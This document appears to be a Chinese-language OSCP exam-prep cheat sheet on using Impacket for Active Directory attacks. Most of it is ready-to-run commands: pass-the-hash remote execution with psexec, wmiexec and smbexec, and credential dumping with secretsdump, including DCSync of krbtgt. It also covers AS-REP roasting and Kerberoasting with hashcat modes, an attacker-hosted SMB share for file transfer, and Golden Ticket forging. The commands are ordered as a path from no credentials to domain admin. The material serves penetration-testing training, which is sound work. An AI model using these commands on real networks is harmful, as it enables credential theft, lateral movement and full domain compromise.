书到用时方恨少,既然踩坑了,还是有必要记录一下,高手略过,有考过的铁子也可以一起来交流交流,学习学习铁子们的方法,主要是域渗透和横向工具impacket的使用。

Impacket 是 OSCP(尤其是 AD 部分和横向移动)中最核心的工具集之一。Kali 上通常以 impacket- 前缀安装(如 impacket-secretsdump、impacket-psexec),也可直接用 python3 /usr/share/doc/python3-impacket/examples/xxx.py。
常用参数格式
几乎所有脚本的目标格式统一为:
[[domain/]username[:password]@]<targetName or address>
常用参数(多数脚本通用):
-hashes LMHASH:NTHASH或-hashes :NTHASH(Pass-the-Hash,最常用)-k -no-pass(使用 Kerberos ticket,需先export KRB5CCNAME=ticket.ccache)-dc-ip <DC_IP>(指定域控 IP,强烈推荐,尤其 Kerberos 相关)-target-ip <IP>(当主机名解析有问题时)-debug(调试用)
特别要注意:
密码含特殊字符时用单引号包起来,或省略密码让它交互输入。 时钟偏差(Clock skew)常见错误:先同步时间 sudo ntpdate <DC_IP>或sudo chronyd -q。(吃亏+1)Kali 上优先用带 impacket-前缀的命令。
1. 远程执行类(横向移动核心)
这些工具都需要目标上的本地管理员权限。一个失败就换另一个。
| psexec.py | ||
| smbexec.py | ||
| wmiexec.py | ||
| atexec.py | ||
| dcomexec.py |
常用命令示例:
# 密码认证
impacket-psexec domain/user:Password123@10.10.10.10
impacket-wmiexec domain/user:Password123@10.10.10.10
impacket-smbexec domain/user:Password123@10.10.10.10
# Pass-the-Hash
impacket-psexec domain/user@10.10.10.10 -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
impacket-wmiexec domain/user@10.10.10.10 -hashes :NTHASH
# Kerberos
export KRB5CCNAME=admin.ccache
impacket-psexec domain/user@target -k -no-pass -dc-ip 10.10.10.10
# 执行单条命令
impacket-wmiexec domain/user:pass@10.10.10.10 "whoami /all"
考试时候的建议:先试 wmiexec → smbexec → psexec。psexec 有时会因服务残留导致后续失败。
2. 凭证转储(secretsdump.py)——最重要
# 本地管理员权限转储 SAM + LSA
impacket-secretsdump domain/user:pass@10.10.10.10
impacket-secretsdump domain/user@10.10.10.10 -hashes :NTHASH
# 域控 DCSync(需要 Replicating Directory Changes 权限 或 DA)
impacket-secretsdump domain/da:pass@dc_ip -just-dc
impacket-secretsdump domain/da:pass@dc_ip -just-dc-ntlm # 只要 NTLM
impacket-secretsdump domain/da:pass@dc_ip -just-dc-user krbtgt # 只拿 krbtgt(Golden Ticket)
impacket-secretsdump domain/da:pass@dc_ip -just-dc-user Administrator
# 离线解析(已拿到 SAM + SYSTEM hive)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
输出包含:
SAM(本地账号) LSA Secrets Cached Domain Logon NTDS(域控时)
破解相关:
NTLM → hashcat -m 1000AS-REP → hashcat -m 18200Kerberoast → hashcat -m 13100(RC4)
3. Kerberos 攻击(AD 必考)
AS-REP Roasting(GetNPUsers.py)
无需凭据,找“不要求 Kerberos 预认证”的账号。
# 用户列表(最常用)
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass -format hashcat -outputfile asrep.txt
# 有凭据时自动枚举
impacket-GetNPUsers domain/user:pass -dc-ip 10.10.10.10 -request -format hashcat -outputfile asrep.txt
Kerberoasting(GetUserSPNs.py)
任意域用户权限即可。
# 枚举 + 请求 TGS
impacket-GetUserSPNs domain/user:pass -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
# Pass-the-Hash
impacket-GetUserSPNs domain/user -hashes :NTHASH -dc-ip 10.10.10.10 -request
4. 文件传输 / SMB 操作
# 交互式 SMB 客户端
impacket-smbclient domain/user:pass@10.10.10.10
# 内部命令:shares → use C$ → ls → get/put → exit
# 在攻击机起 SMB 服务器(文件传输神器)
impacket-smbserver share /path/to/folder -smb2support
# 目标机执行:copy \\attacker_ip\share\file.exe C:\temp\
5. 其他高频实用脚本
mssqlclient.py:连接 MSSQL
impacket-mssqlclient domain/user:pass@sql_ip -windows-auth
# 开启 xp_cmdshell 后执行命令lookupsid.py:SID 暴力枚举用户
impacket-lookupsid domain/user:pass@targetgetTGT.py:获取 TGT
impacket-getTGT domain/user:pass -dc-ip dc_ip
export KRB5CCNAME=user.ccacheticketer.py:伪造 Golden/Silver Ticket(拿到 krbtgt 后)
impacket-ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-... -domain domain.local Administrator
实战使用顺序建议
无凭据阶段: GetNPUsers(AS-REP)→ 爆破用户名 → Kerberoast(有低权限账号后)有低权限账号: GetUserSPNs+smbclient枚举共享获得本地管理员 / 高权限: secretsdump→psexec/wmiexec/smbexec横向拿到 DA 或 DCSync 权限: secretsdump -just-dc→ 全域哈希文件传输:优先用 smbserver+copy,或smbclient的get/put
常见问题与排查
STATUS_LOGON_FAILURE:凭据错误 / 哈希格式问题 / 域前缀错误 Clock skew too great:同步时间 Access Denied:权限不足或目标加固(尝试换执行方式) SMB 连接失败:检查防火墙、SMB signing、端口 445 服务残留导致 psexec 失败:用其他执行工具或手动清理
一些参考来源
官方仓库:https://github.com/fortra/impacket Kali 自带,直接 impacket-<tab>即可查看所有脚本OSCP 中 secretsdump + psexec/wmiexec + GetNPUsers/GetUserSPNs ,务必熟练到不用查笔记的程度 考试时优先用 -hashes和-dc-ip,减少变量,一定要多看看考试指南,哪些能做哪些不能做,考试途中去厕所回来要和考官说啊。。。。。。。